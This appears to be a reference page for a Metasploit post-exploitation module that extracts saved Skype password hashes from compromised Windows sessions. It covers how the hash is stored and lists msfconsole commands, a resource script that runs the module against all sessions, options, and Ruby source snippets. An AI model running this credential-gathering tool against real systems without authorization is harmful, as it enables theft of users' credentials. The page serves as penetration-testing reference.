Windows Gather Skype Saved Password Hash Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/skype metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Gather Skype Saved Password Hash Extraction
Module: post/windows/gather/credentials/skype
Source code: modules/post/windows/gather/credentials/skype.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module finds saved login credentials for the Windows Skype client. The hash is in MD5 format that uses the username, a static string "\nskyper\n" and the password. The resulting MD5 is stored in the Config.xml file for the user after being XOR'd against a key generated by applying 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage using the Windows API CryptProtectData against the MD5

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/skype

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/skype
msf post(skype) > show options
    ... show and set options ...
msf post(skype) > set SESSION session-id
msf post(skype) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/skype")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/skype post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/skype

msf6 post(windows/gather/credentials/skype) > show info

       Name: Windows Gather Skype Saved Password Hash Extraction
     Module: post/windows/gather/credentials/skype
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  mubix <[email protected]>
  hdm <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module finds saved login credentials for the Windows Skype 
  client. The hash is in MD5 format that uses the username, a static 
  string "\nskyper\n" and the password. The resulting MD5 is stored in 
  the Config.xml file for the user after being XOR'd against a key 
  generated by applying 2 SHA1 hashes of "salt" data which is stored 
  in ProtectedStorage using the Windows API CryptProtectData against 
  the MD5

References:
  http://www.recon.cx/en/f/vskype-part2.pdf
  http://insecurety.net/?p=427
  https://github.com/skypeopensource/tools

Module Options

This is a complete list of options available in the windows/gather/credentials/skype post exploitation module:

msf6 post(windows/gather/credentials/skype) > show options

Module options (post/windows/gather/credentials/skype):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/skype post exploitation module:

msf6 post(windows/gather/credentials/skype) > show advanced

Module advanced options (post/windows/gather/credentials/skype):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/skype module can do:

msf6 post(windows/gather/credentials/skype) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/skype post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/skype) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Config.xml not found in <APPDATAPATH>\<DIR>\"

Here is a relevant code snippet related to the "Config.xml not found in <APPDATAPATH>\<DIR>\"" error message:

94:	    users = []
95:	    dirlist = session.fs.dir.entries(appdatapath)
96:	    dirlist.shift(2)
97:	    dirlist.each do |dir|
98:	      if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
99:	        vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
100:	        next
101:	      end
102:	      print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
103:	      users << dir
104:	    end

No Credentials3 blob found for <USER> in Config.xml skipping

Here is a relevant code snippet related to the "No Credentials3 blob found for <USER> in Config.xml skipping" error message:

150:	    if users.any?
151:	      users.each do |user|
152:	        print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
153:	        credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
154:	        if credhex == ""
155:	          print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
156:	          next
157:	        else
158:	          hash = decrypt_blob(credhex, salt)
159:	          print_good "Skype MD5 found: #{user}:#{hash}"
160:	        end

No users with configs found. Exiting

Here is a relevant code snippet related to the "No users with configs found. Exiting" error message:

158:	          hash = decrypt_blob(credhex, salt)
159:	          print_good "Skype MD5 found: #{user}:#{hash}"
160:	        end
161:	      end
162:	    else
163:	      print_error "No users with configs found. Exiting"
164:	    end
165:	  end
166:	
167:	  def run
168:	    salt = get_salt

No salt found. Cannot continue without salt, exiting

Here is a relevant code snippet related to the "No salt found. Cannot continue without salt, exiting" error message:

165:	  end
166:	
167:	  def run
168:	    salt = get_salt
169:	    if salt != nil
170:	      creds = get_config_creds(salt)
171:	    else
172:	      print_error "No salt found. Cannot continue without salt, exiting"
173:	    end
174:	  end
175:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • mubix
  • hdm

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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